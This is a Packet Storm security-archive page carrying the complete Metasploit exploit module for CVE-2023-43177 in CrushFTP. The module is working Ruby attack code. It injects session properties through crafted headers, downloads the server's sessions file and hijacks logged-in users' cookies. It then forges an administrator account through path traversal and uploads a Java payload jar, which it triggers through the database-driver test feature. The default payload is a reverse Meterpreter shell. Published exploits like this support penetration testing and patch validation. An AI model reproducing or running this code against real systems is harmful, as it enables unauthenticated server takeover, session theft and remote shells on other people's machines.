Lucene search

K
packetstormChristophe de la Fuente, Ryan Emmons, metasploit.comPACKETSTORM:178067
HistoryApr 15, 2024 - 12:00 a.m.

CrushFTP Remote Code Execution

2024-04-1500:00:00
Christophe de la Fuente, Ryan Emmons, metasploit.com
packetstormsecurity.com
130
crushftp
remote code execution
unauthenticated
vulnerability
hijacking
session
privilege escalation
metasploit
http
server
file system
session cookies
dynamic sql
java
cve-2023-43177
cwe-913

7.4 High

AI Score

Confidence

Low

0.959 High

EPSS

Percentile

99.5%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::Java::HTTP::ClassLoader  
prepend Msf::Exploit::Remote::AutoCheck  
  
class CrushFtpError < StandardError; end  
class CrushFtpNoAccessError < CrushFtpError; end  
class CrushFtpNotFoundError < CrushFtpError; end  
class CrushFtpUnknown < CrushFtpError; end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CrushFTP Unauthenticated RCE',  
'Description' => %q{  
This exploit module leverages an Improperly Controlled Modification  
of Dynamically-Determined Object Attributes vulnerability  
(CVE-2023-43177) to achieve unauthenticated remote code execution.  
This affects CrushFTP versions prior to 10.5.1.  
  
It is possible to set some user's session properties by sending an HTTP  
request with specially crafted Header key-value pairs. This enables an  
unauthenticated attacker to access files anywhere on the server file  
system and steal the session cookies of valid authenticated users. The  
attack consists in hijacking a user's session and escalates privileges  
to obtain full control of the target. Remote code execution is obtained  
by abusing the dynamic SQL driver loading and configuration testing  
feature.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ryan Emmons', # Initial research, discovery and PoC  
'Christophe De La Fuente' # Metasploit module  
],  
'References' => [  
[ 'URL', 'https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/'],  
[ 'URL', 'https://github.com/the-emmons/CVE-2023-43177/blob/main/CVE-2023-43177.py'],  
[ 'URL', 'https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update'],  
[ 'CVE', '2023-43177'],  
[ 'CWE', '913' ]  
],  
'Platform' => %w[java unix linux win],  
'Privileged' => true,  
'Arch' => [ARCH_JAVA, ARCH_X64, ARCH_X86],  
'Targets' => [  
[  
'Java',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java',  
# If not set here, Framework will pick this payload anyway and set the default LHOST to the local interface.  
# If we set the payload manually to a bind payload (e.g. `java/meterpreter/bind_tcp`) the default LHOST will be  
# used and the payload will fail if the target is not local (most likely).  
# To avoid this, the default payload is set here, which prevent Framework to set a default LHOST.  
'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }  
}  
],  
[  
'Linux Dropper',  
{  
'Arch' => [ ARCH_X64, ARCH_X86 ],  
'Platform' => 'linux'  
}  
],  
[  
'Windows Dropper',  
{  
'Arch' => [ ARCH_X64, ARCH_X86 ],  
'Platform' => 'win'  
}  
],  
],  
'DisclosureDate' => '2023-08-08',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'The base path of the CrushFTP web interface', '/']),  
OptInt.new('SESSION_FILE_DELAY', [true, 'The delay in seconds between attempts to download the session file', 30])  
]  
)  
end  
  
def send_as2_query_api(headers = {})  
rand_username = rand_text_hex(10)  
opts = {  
'uri' => normalize_uri(target_uri.path, 'WebInterface/function/?command=getUsername'),  
'method' => 'POST',  
'headers' => {  
'as2-to' => rand_text_hex(8),  
# Each key-value pair will be added into the current session’s  
# `user_info` Properties, which is used by CrushFTP to store information  
# about a user's session. Here, we set a few properties needed for the  
# exploit to work.  
'user_ip' => '127.0.0.1',  
'dont_log' => 'true',  
# The `user_name` property will be be included in the response to a  
# `getUsername` API query. This will be used to make sure the operation  
# worked and the other key-value pairs were added to the session's  
# `user_info` Properties.  
'user_name' => rand_username  
}.merge(headers)  
}  
  
# This only works with anonymous sessions, so `#get_anon_session` should be  
# called before to make sure the cookie_jar is set with an anonymous  
# session cookie.  
res = send_request_cgi(opts)  
raise CrushFtpNoAccessError, '[send_as2_query_api] Could not connect to the web server - no response' if res.nil?  
  
xml_response = res.get_xml_document  
if xml_response.xpath('//loginResult/response').text != 'success'  
raise CrushFtpUnknown, '[send_as2_query_api] The API returned a non-successful response'  
end  
  
# Checking the forged username returned in the response  
unless xml_response.xpath('//loginResult/username').text == rand_username  
raise CrushFtpUnknown, '[send_as2_query_api] username not found in response, the exploit didn\'t work'  
end  
  
res  
end  
  
def send_query_api(command:, cookie: nil, vars: {}, multipart: false, timeout: 20)  
opts = {  
'uri' => normalize_uri(target_uri.path, 'WebInterface/function/'),  
'method' => 'POST'  
}  
if multipart  
opts['vars_form_data'] = [  
{  
'name' => 'command',  
'data' => command  
},  
]  
unless cookie.blank?  
opts['vars_form_data'] << {  
'name' => 'c2f',  
'data' => cookie.last(4)  
}  
end  
opts['vars_form_data'] += vars unless vars.empty?  
else  
opts['vars_post'] = {  
'command' => command  
}.merge(vars)  
opts['vars_post']['c2f'] = cookie.last(4) unless cookie.blank?  
end  
opts['cookie'] = "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}" unless cookie.nil?  
  
res = send_request_cgi(opts, timeout)  
raise CrushFtpNoAccessError, '[send_query_api] Could not connect to the web server - no response' if res.nil?  
  
res  
end  
  
def get_anon_session  
vprint_status('Getting a new anonymous session')  
cookie_jar.clear  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'WebInterface'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
raise CrushFtpNoAccessError, '[get_anon_session] Could not connect to the web server - no response' if res.nil?  
  
match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)  
raise CrushFtpNotFoundError, '[get_anon_session] Could not get the `currentAuth` cookie' unless match  
  
vprint_status("Anonymous session cookie: #{match[:cookie]}")  
match[:cookie]  
end  
  
def check  
vprint_status('Checking CrushFTP Server')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'login.html'),  
'method' => 'GET'  
)  
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?  
return CheckCode::Safe('The web server is not running CrushFTP') unless res.body =~ /crushftp/i  
  
cookie = get_anon_session  
  
vprint_status('Checking if the attack primitive works')  
# This will raise an exception in case of error  
send_as2_query_api  
  
do_logout(cookie)  
  
CheckCode::Appears  
rescue CrushFtpError => e  
CheckCode::Unknown("#{e.class} - #{e.message}")  
end  
  
def rand_dir  
@rand_dir ||= "WebInterface/Resources/libs/jq-3.6.0_#{rand_text_hex(10)}-js/"  
end  
  
def get_session_file  
# Setting this here to be reachable by the ensure block  
cookie = nil  
begin  
cookie = get_anon_session  
rescue CrushFtpError => e  
print_bad("[get_session_file] Unable to get an anonymous session: #{e.class} - #{e.message}")  
return nil  
end  
  
vprint_status("Getting session file at `#{rand_dir}`")  
headers = {  
'filename' => '/',  
'user_protocol_proxy' => rand_text_hex(8),  
'user_log_file' => 'sessions.obj',  
'user_log_path' => './',  
'user_log_path_custom' => File.join('.', rand_dir)  
}  
send_as2_query_api(headers)  
formatted_dir = File.join('.', rand_dir.delete_suffix('/'))  
register_dirs_for_cleanup(formatted_dir) unless @dropped_dirs.include?(formatted_dir)  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, rand_dir, 'sessions.obj'),  
'method' => 'GET'  
)  
unless res&.code == 200  
print_bad('[get_session_file] Could not connect to the web server - no response') if res.nil?  
print_bad('[get_session_file] Could not steal the session file')  
return nil  
end  
print_good('Session file downloaded')  
  
tmp_hash = Rex::Text.md5(res.body)  
if @session_file_hash == tmp_hash  
vprint_status('Session file has not changed yet, skipping')  
return nil  
end  
@session_file_hash = tmp_hash  
  
res.body  
rescue CrushFtpError => e  
print_bad("[get_session_file] Unknown failure:#{e.class} - #{e.message}")  
return nil  
ensure  
do_logout(cookie) if cookie  
end  
  
def check_sessions(session_file)  
valid_sessions = []  
session_cookies = session_file.scan(/\d{13}_[A-Za-z0-9]{30}/).uniq  
vprint_status("Found #{session_cookies.size} session cookies in the session file")  
session_cookies.each do |cookie|  
res = send_query_api(command: 'getUsername', cookie: cookie)  
username = res.get_xml_document.xpath('//loginResult/username').text  
if username == 'anonymous'  
vprint_status("Cookie `#{cookie}` is an anonymous session")  
elsif username.empty?  
vprint_status("Cookie `#{cookie}` is not valid")  
else  
vprint_status("Cookie `#{cookie}` is valid session (username: #{username})")  
valid_sessions << { cookie: cookie, username: username }  
end  
rescue CrushFtpError => e  
print_bad("[check_sessions] Error while checking cookie `#{cookie}`: #{e.class} - #{e.message}")  
end  
valid_sessions  
end  
  
def check_admin_and_windows(cookie)  
res = send_query_api(command: 'getDashboardItems', cookie: cookie)  
  
is_windows = res.get_xml_document.xpath('//result/response_data/result_value/machine_is_windows').text  
return nil if is_windows.blank?  
return true if is_windows == 'true'  
  
false  
rescue CrushFtpError  
vprint_status("[check_admin_and_get_os_family] Cookie #{cookie} doesn't have access to the `getDashboardItems` API, it is not an admin session")  
nil  
end  
  
def get_writable_dir(path, cookie)  
res = send_query_api(command: 'getXMLListing', cookie: cookie, vars: { 'path' => path, 'random' => "0.#{rand_text_numeric(17)}" })  
xml_doc = res.get_xml_document  
current_path = xml_doc.xpath('//listingInfo/path').text  
if xml_doc.xpath('//listingInfo/privs').text.include?('(write)')  
return current_path  
end  
  
res.get_xml_document.xpath('//listingInfo/listing/listing_subitem').each do |subitem|  
if subitem.at('type').text == 'DIR'  
dir = get_writable_dir(File.join(current_path, subitem.at('href_path').text), cookie)  
return dir unless dir.nil?  
end  
end  
  
nil  
rescue CrushFtpError => e  
print_bad("[get_writable_dir] Unknown failure: #{e.class} - #{e.message}")  
nil  
end  
  
def upload_file(file_path, file_content, id, cookie)  
file_size = file_content.size  
vars = [  
{ 'name' => 'upload_path', 'data' => file_path },  
{ 'name' => 'upload_size', 'data' => file_size },  
{ 'name' => 'upload_id', 'data' => id },  
{ 'name' => 'start_resume_loc', 'data' => '0' }  
]  
res = send_query_api(command: 'openFile', cookie: cookie, vars: vars, multipart: true)  
response_msg = res.get_xml_document.xpath('//commandResult/response').text  
if response_msg != id  
raise CrushFtpUnknown, "Unable to upload #{file_path}: #{response_msg}"  
end  
  
form_data = Rex::MIME::Message.new  
form_data.add_part(file_content, 'application/octet-stream', 'binary', "form-data; name=\"CFCD\"; filename=\"#{file_path}\"")  
post_data = form_data.to_s  
post_data.sub!("Content-Transfer-Encoding: binary\r\n", '')  
  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'U', "#{id}~1~#{file_size}"),  
'method' => 'POST',  
'cookie' => "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}",  
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",  
'data' => post_data  
)  
  
vars = [  
{ 'name' => 'upload_id', 'data' => id },  
{ 'name' => 'total_chunks', 'data' => '1' },  
{ 'name' => 'total_bytes', 'data' => file_size },  
{ 'name' => 'filePath', 'data' => file_path },  
{ 'name' => 'lastModified', 'data' => DateTime.now.strftime('%Q') },  
{ 'name' => 'start_resume_loc', 'data' => '0' }  
]  
send_query_api(command: 'closeFile', cookie: cookie, vars: vars, multipart: true)  
end  
  
def check_egg(session_file, egg)  
path = session_file.match(%r{FILE://.*?#{egg}})  
return nil unless path  
  
path = path[0]  
vprint_status("Found the egg at #{path} in the session file")  
if (match = path.match(%r{^FILE://(?<path>[A-Z]:.*)#{egg}}))  
print_good("Found path `#{match[:path]}` and it is Windows")  
elsif (match = path.match(%r{^FILE:/(?<path>.*)#{egg}}))  
print_good("Found path `#{match[:path]}` and it is Unix-like")  
end  
match[:path]  
end  
  
def move_user_xml(admin_username, writable_dir)  
headers = {  
'filename' => '/',  
'user_protocol_proxy' => rand_text_hex(8),  
'user_log_file' => 'user.XML',  
'user_log_path' => "./../../../../../../../../../../../../../../..#{writable_dir}",  
'user_log_path_custom' => "./users/MainUsers/#{admin_username}/"  
}  
send_as2_query_api(headers)  
end  
  
def do_priv_esc_and_check_windows(session)  
vprint_status('Looking for a directory with write permissions')  
writable_dir = get_writable_dir('/', session[:cookie])  
if writable_dir.nil?  
print_bad('[do_priv_esc_and_check_windows] The user has no upload permissions, privilege escalation is not possible')  
return nil  
end  
print_good("Found a writable directory: #{writable_dir}")  
  
egg_rand = rand_text_hex(10)  
print_status("Uploading the egg file `#{egg_rand}`")  
egg_path = File.join(writable_dir, egg_rand)  
begin  
upload_file(egg_path, rand_text_hex(3..6), egg_rand, session[:cookie])  
rescue CrushFtpError => e  
print_bad("[do_priv_esc_and_check_windows] Unable to upload the egg file: #{e.class} - #{e.message}")  
return nil  
end  
  
admin_password = rand_text_hex(10)  
user_xml = <<~XML.gsub!(/\n */, '')  
<?xml version='1.0' encoding='UTF-8'?>  
<user type='properties'>  
<username>#{session[:username]}</username>  
<password>MD5:#{Rex::Text.md5(admin_password)}</password>  
<extra_vfs type='vector'></extra_vfs>  
<version>1.0</version>  
<userVersion>6</userVersion>  
<created_by_username>crushadmin</created_by_username>  
<created_by_email></created_by_email>  
<created_time>#{DateTime.now.strftime('%Q')}</created_time>  
<filePublicEncryptionKey></filePublicEncryptionKey>  
<fileDecryptionKey></fileDecryptionKey>  
<max_logins>0</max_logins>  
<root_dir>/</root_dir>  
<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>  
<password_history></password_history>  
</user>  
XML  
xml_path = File.join(writable_dir, 'user.XML')  
print_status("Uploading `user.XML` to #{xml_path}")  
begin  
upload_file(xml_path, user_xml, rand_text_hex(10), session[:cookie])  
rescue CrushFtpError => e  
print_bad("[do_priv_esc_and_check_windows] Unable to upload `user.XML`: #{e.class} - #{e.message}")  
return nil  
end  
  
path = nil  
loop do  
print_status('Looking for the egg in the session file')  
session_file = get_session_file  
if session_file  
path = check_egg(session_file, egg_rand)  
break if path  
end  
print_status("Egg not found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")  
sleep datastore['SESSION_FILE_DELAY']  
end  
print_good("Found the file system path: #{path}")  
register_files_for_cleanup(File.join(path, egg_rand))  
  
cookie = nil  
begin  
cookie = get_anon_session  
rescue CrushFtpError => e  
print_bad("[do_priv_esc_and_check_windows] Unable to get an anonymous session: #{e.class} - #{e.message}")  
return nil  
end  
admin_username = rand_text_hex(10)  
vprint_status("The forged user will be `#{admin_username}`")  
vprint_status("Moving user.XML from #{path} to `#{admin_username}` home folder and elevate privileges")  
is_windows = path.match(/^[A-Z]:(?<path>.*)/)  
move_user_xml(admin_username, is_windows ? Regexp.last_match(:path) : path)  
  
do_logout(cookie)  
# `cookie` is explicitly set to `nil` here to make sure the ensure block  
# won't log it out again if the next call to `do_login` raises an  
# exception. Without this line, if `do_login` raises an exception, `cookie`  
# will still contain the value of the previous session cookie, which should  
# have been logged out at this point. The ensure block will try to logout  
# the same session again.  
cookie = nil  
  
print_status('Logging into the elevated account')  
cookie = do_login(admin_username, admin_password)  
fail_with(Failure::NoAccess, 'Unable to login with the elevated account') unless cookie  
  
print_good('Logged in! Now let\'s create a temporary admin account')  
[create_admin_account(cookie, is_windows), is_windows]  
ensure  
do_logout(cookie) if cookie  
end  
  
def create_admin_account(cookie, is_windows)  
# This creates an administrator account with the required VFS setting for the exploit to work  
admin_username = rand_text_hex(10)  
admin_password = rand_text_hex(10)  
user_xml = <<~XML.gsub!(/\n */, '')  
<?xml version='1.0' encoding='UTF-8'?>  
<user type='properties'>  
<username>#{admin_username}</username>  
<password>#{admin_password}</password>  
<extra_vfs type='vector'></extra_vfs>  
<version>1.0</version>  
<userVersion>6</userVersion>  
<created_by_username>crushadmin</created_by_username>  
<created_by_email></created_by_email>  
<created_time>#{DateTime.now.strftime('%Q')}</created_time>  
<filePublicEncryptionKey></filePublicEncryptionKey>  
<fileDecryptionKey></fileDecryptionKey>  
<max_logins>0</max_logins>  
<root_dir>/</root_dir>  
<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>  
<password_history></password_history>  
</user>  
XML  
  
url = is_windows ? 'FILE://C:/Users/Public/' : 'FILE://var/tmp/'  
  
vfs_xml = <<~XML.gsub!(/\n */, '')  
<?xml version='1.0' encoding='UTF-8'?>  
<vfs_items type='vector'>  
<vfs_items_subitem type='properties'>  
<name>tmp</name>  
<path>/</path>  
<vfs_item type='vector'>  
<vfs_item_subitem type='properties'>  
<type>DIR</type>  
<url>#{url}</url>  
</vfs_item_subitem>  
</vfs_item>  
</vfs_items_subitem>  
</vfs_items>  
XML  
  
perms_xml = <<~XML.gsub!(/\n */, '')  
<?xml version='1.0' encoding='UTF-8'?>  
<VFS type='properties'>  
<item name='/'>  
(read)(view)(resume)  
</item>  
<item name='/TMP/'>  
(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)(slideshow)  
</item>  
</VFS>  
XML  
  
vars_post = {  
'data_action' => 'new',  
'serverGroup' => 'MainUsers',  
'username' => admin_username,  
'user' => user_xml,  
'xmlItem' => 'user',  
'vfs_items' => vfs_xml,  
'permissions' => perms_xml  
}  
  
res = send_query_api(command: 'setUserItem', cookie: cookie, vars: vars_post)  
return nil if res.body.include?('Access Denied') || res.code == 404  
  
{ username: admin_username, password: admin_password }  
rescue CrushFtpError => e  
print_bad("[create_admin_account] Unknown failure: #{e.class} - #{e.message}")  
nil  
end  
  
def do_login(username, password)  
vprint_status("[do_login] Logging in with username `#{username}` and password `#{password}`")  
vars = {  
'username' => username,  
'password' => password,  
'encoded' => 'true',  
'language' => 'en',  
'random' => "0.#{rand_text_numeric(17)}"  
}  
res = send_query_api(command: 'login', cookie: '', vars: vars)  
unless res.code == 200 && res.get_xml_document.xpath('//loginResult/response').text.include?('success')  
print_bad('[do_login] Login failed')  
return nil  
end  
  
match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)  
unless match  
print_bad('[do_login] Cannot find session cookie in response')  
return nil  
end  
  
match[:cookie]  
end  
  
def do_logout(cookie)  
vprint_status("Logging out session cookie `#{cookie}`")  
vars = {  
'random' => "0.#{rand_text_numeric(17)}"  
}  
res = send_query_api(command: 'logout', cookie: cookie, vars: vars)  
unless res.code == 200 && res.get_xml_document.xpath('//commandResult/response').text.include?('Logged out')  
vprint_bad('[do_logout] Unable to logout')  
end  
rescue CrushFtpError => e  
vprint_bad("[do_logout] An error occured when trying to logout: #{e.class} - #{e.message}")  
end  
  
def do_rce(cookie, is_windows)  
jar_file = payload.encoded_jar({ arch: payload.arch.first })  
jar_file.add_file("#{class_name}.class", constructor_class)  
jar_filename = "#{rand_text_hex(4)}.jar"  
jar_path = is_windows ? "C:/Users/Public/#{jar_filename}" : "/var/tmp/#{jar_filename}"  
  
print_status("Uploading payload .jar file `#{jar_filename}` to #{jar_path}")  
begin  
upload_file(jar_filename, jar_file.pack, class_name, cookie)  
rescue CrushFtpError => e  
raise CrushFtpUnknown, "[do_rce] Unable to upload the payload .jar file: #{e.class} - #{e.message}"  
end  
  
print_status('Triggering the payload')  
vars = {  
'db_driver_file' => jar_path,  
'db_driver' => class_name,  
'db_url' => 'jdbc:derby:./hax;create=true',  
'db_user' => rand_text(3..5),  
'db_pass' => rand_text(10..15)  
}  
begin  
send_query_api(command: 'testDB', cookie: cookie, vars: vars, timeout: 0)  
rescue CrushFtpNoAccessError  
# Expecting no response  
end  
  
register_files_for_cleanup(jar_path)  
end  
  
def delete_user(username, cookie)  
vars = {  
'data_action' => 'delete',  
'serverGroup' => 'MainUsers',  
'usernames' => username,  
'user' => '<?xml version="1.0" encoding="UTF-8"?>',  
'xmlItem' => 'user',  
'vfs_items' => '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',  
'permissions' => '<?xml version="1.0" encoding="UTF-8"?><permissions type="vector"></permissions>'  
}  
send_query_api(command: 'setUserItem', cookie: cookie, vars: vars)  
end  
  
def exploit  
admin_creds = nil  
is_windows = nil  
loop do  
print_status('Downloading the session file')  
session_file = get_session_file  
unless session_file  
print_status("No session file, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")  
sleep datastore['SESSION_FILE_DELAY']  
next  
end  
  
print_status('Looking for the valid sessions')  
session_list = check_sessions(session_file)  
if session_list.empty?  
print_status("No valid sessions found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")  
sleep datastore['SESSION_FILE_DELAY']  
next  
end  
  
# First, check if we have active admin sessions to go ahead and directly go the RCE part.  
session_list.each do |session|  
print_status("Checking if user #{session[:username]} is an admin (cookie: #{session[:cookie]})")  
# This will return nil if it is not an admin session  
is_windows = check_admin_and_windows(session[:cookie])  
next if is_windows.nil?  
  
print_good('It is an admin! Let\'s create a temporary admin account')  
admin_creds = create_admin_account(session[:cookie], is_windows)  
break  
end  
  
# If the previous step failed, try to escalate privileges with the remaining active sessions, if any.  
if admin_creds.nil?  
print_status('Could not find any admin session or the admin account creation failed')  
session_list.each do |session|  
print_status("Attempting privilege escalation with session cookie #{session}")  
admin_creds, is_windows = do_priv_esc_and_check_windows(session)  
break unless admin_creds.nil?  
end  
end  
  
break unless admin_creds.nil?  
  
print_status(  
"Creation of an admin account failed with the current active sessions, wait #{datastore['SESSION_FILE_DELAY']}"\  
'seconds and try again... (Ctrl-C to exit)'  
)  
sleep datastore['SESSION_FILE_DELAY']  
end  
  
print_good("Administrator account created: username=#{admin_creds[:username]}, password=#{admin_creds[:password]}")  
  
cookie = do_login(admin_creds[:username], admin_creds[:password])  
fail_with(Failure::NoAccess, 'Unable to login with the new administrator credentials') unless cookie  
  
do_rce(cookie, is_windows)  
  
print_status('Cleanup the temporary admin account')  
delete_user(admin_creds[:username], cookie)  
rescue CrushFtpError => e  
fail_with(Failure::Unknown, "Unknown failure: #{e.class} - #{e.message}")  
ensure  
do_logout(cookie) if cookie  
end  
end  
`

7.4 High

AI Score

Confidence

Low

0.959 High

EPSS

Percentile

99.5%